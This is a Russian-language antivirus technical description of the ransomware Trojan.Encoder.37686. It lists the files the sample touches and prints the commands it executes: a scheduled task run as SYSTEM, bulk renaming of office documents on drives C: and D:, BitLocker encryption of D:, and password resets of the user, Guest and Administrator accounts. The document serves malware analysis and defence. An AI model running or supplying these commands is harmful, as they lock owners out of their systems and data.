Trojan.Encoder.37686

Техническая информация

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\mf-cleanup

Изменения в файловой системе

Создает следующие файлы

%TEMP%\tmp99af.tmp.bat

Перемещает следующие системные файлы

%WINDIR%\shellnew\excel12.xlsx в %WINDIR%\shellnew\excel12.foolx

Перемещает следующие файлы

%ProgramFiles%\microsoft office\office14\1033\prottpln.doc в %ProgramFiles%\microsoft office\office14\1033\prottpln.fooldc
%ProgramFiles%\microsoft office\office14\1033\prottplv.doc в %ProgramFiles%\microsoft office\office14\1033\prottplv.fooldc
%ProgramFiles%\microsoft office\office14\1033\prottpln.xls в %ProgramFiles%\microsoft office\office14\1033\prottpln.foolxc
%ProgramFiles%\microsoft office\office14\1033\prottplv.xls в %ProgramFiles%\microsoft office\office14\1033\prottplv.foolxc
%ProgramFiles%\microsoft office\office14\samples\solvsamp.xls в %ProgramFiles%\microsoft office\office14\samples\solvsamp.foolxc

Изменяет следующие файлы

%ProgramFiles%\java\jre1.8.0_45\lib\deploy\ffjcext.zip
%CommonProgramFiles(x86)%\adobe\reader\dc\linguistics\providers\plugins2\adobehunspellplugin\dictionaries\en_gb\wordnet_license.txt
%ProgramFiles%\java\jre1.8.0_45\bin\server\xusage.txt
%ProgramFiles%\winrar\readme.txt
%CommonProgramFiles(x86)%\adobe\reader\dc\linguistics\providers\plugins2\adobehunspellplugin\dictionaries\en_us\readme_en_us.txt
%CommonProgramFiles(x86)%\adobe\reader\dc\linguistics\providers\plugins2\adobehunspellplugin\abbreviations\en_us\list.txt
%CommonProgramFiles(x86)%\adobe\reader\dc\linguistics\providers\plugins2\adobehunspellplugin\abbreviations\en_gb\list.txt
%CommonProgramFiles(x86)%\adobe\reader\dc\linguistics\providers\plugins2\adobehunspellplugin\supplementaldictionaries\en_us\excluded.txt
%CommonProgramFiles(x86)%\adobe\reader\dc\linguistics\providers\plugins2\adobehunspellplugin\supplementaldictionaries\en_ca\excluded.txt
%CommonProgramFiles(x86)%\adobe\reader\dc\linguistics\providers\plugins2\adobehunspellplugin\abbreviations\en_ca\list.txt
%CommonProgramFiles(x86)%\adobe\reader\dc\linguistics\providers\plugins2\adobehunspellplugin\supplementaldictionaries\en_gb\excluded.txt
%ProgramFiles%\java\jre1.8.0_45\readme.txt
%CommonProgramFiles(x86)%\adobe\reader\dc\linguistics\providers\adobe\products.txt
%ProgramFiles(x86)%\adobe\acrobat reader dc\reader\pdfsigqformalrep.pdf
%ProgramFiles(x86)%\adobe\acrobat reader dc\reader\1494870c-9912-c184-4cc9-b401-a53f4d8de290.pdf
%ProgramFiles(x86)%\adobe\acrobat reader dc\reader\plug_ins\annotations\stamps\words.pdf
%ProgramFiles(x86)%\adobe\acrobat reader dc\reader\plug_ins\annotations\stamps\enu\standardbusiness.pdf
%ProgramFiles(x86)%\adobe\acrobat reader dc\reader\idtemplates\enu\adobeid.pdf
%ProgramFiles(x86)%\adobe\acrobat reader dc\reader\idtemplates\enu\defaultid.pdf
%ProgramFiles(x86)%\adobe\acrobat reader dc\reader\plug_ins\annotations\stamps\enu\dynamic.pdf
%ProgramFiles(x86)%\adobe\acrobat reader dc\reader\plug_ins\annotations\stamps\enu\signhere.pdf
%ProgramFiles(x86)%\adobe\acrobat reader dc\resource\enutxt.pdf
%HOMEPATH%\desktop\fi51.fooldc
%HOMEPATH%\desktop\cveuropeo.fooldc
%HOMEPATH%\desktop\lisp_success.fooldc
%HOMEPATH%\desktop\weeklysheet1215.fooldc
%HOMEPATH%\desktop\february_catalogue__2015.fooldc
%HOMEPATH%\desktop\aoc_saq_d_v3_merchant.foold
%CommonProgramFiles(x86)%\adobe\reader\dc\linguistics\providers\plugins2\adobehunspellplugin\supplementaldictionaries\en_ca\added.txt
%CommonProgramFiles(x86)%\adobe\reader\dc\linguistics\providers\plugins2\adobehunspellplugin\dictionaries\en_ca\readme_th_en_ca_v2.txt

Изменяет множество файлов.

Изменяет множество файлов пользовательских данных (Trojan.Encoder).

Другое

Запускает на исполнение

'<SYSTEM32>\cmd.exe' chcp 65001 && cmd /c schtasks /create /RU "NT AUTHORITY\SYSTEM" /TN "MF-cleanup" /TR "%TEMP%\tmp99AF.tmp.bat" /ST 13:55:00 /SC ONCE /F
'<SYSTEM32>\cmd.exe' chcp 65001 && cmd /c for /R C:\ %x in (*.doc) do ren "%x" *.fooldc
'<SYSTEM32>\cmd.exe' chcp 65001 && cmd /c for /R C:\ %x in (*.xlsx) do ren "%x" *.foolx
'<SYSTEM32>\cmd.exe' chcp 65001 && cmd /c for /R C:\ %x in (*.docx) do ren "%x" *.foold
'<SYSTEM32>\cmd.exe' chcp 65001 && cmd /c for /R D:\ %x in (*.xls) do ren "%x" *.foolxc
'<SYSTEM32>\cmd.exe' chcp 65001 && cmd /c for /R D:\ %x in (*.doc) do ren "%x" *.fooldc
'<SYSTEM32>\cmd.exe' chcp 65001 && cmd /c for /R D:\ %x in (*.xlsx) do ren "%x" *.foolx
'<SYSTEM32>\cmd.exe' chcp 65001 && cmd /c for /R D:\ %x in (*.docx) do ren "%x" *.foold
'<SYSTEM32>\manage-bde.exe' -on D: -RecoveryPassword
'<SYSTEM32>\net1.exe' user user OTe2H0E!
'<SYSTEM32>\cmd.exe' chcp 65001 && cmd /c for /R C:\ %x in (*.xls) do ren "%x" *.foolxc
'<SYSTEM32>\net.exe' user user OTe2H0E!
'<SYSTEM32>\net1.exe' user Guest xcFIu7u!
'<SYSTEM32>\net.exe' user Guest xcFIu7u!
'<SYSTEM32>\cmd.exe' chcp 65001 && cmd /c net user Guest xcFIu7u!
'<SYSTEM32>\net1.exe' user Administrator WElwgZn!
'<SYSTEM32>\net.exe' user Administrator WElwgZn!
'<SYSTEM32>\cmd.exe' chcp 65001 && cmd /c net user Administrator WElwgZn!
'<SYSTEM32>\whoami.exe'
'<SYSTEM32>\cmd.exe' chcp 65001 && cmd /c whoami
'<SYSTEM32>\schtasks.exe' /create /RU "NT AUTHORITY\SYSTEM" /TN "MF-cleanup" /TR "%TEMP%\tmp99AF.tmp.bat" /ST 13:55:00 /SC ONCE /F
'<SYSTEM32>\cmd.exe' chcp 65001 && cmd /c net user user OTe2H0E!
'<SYSTEM32>\manage-bde.exe' -status D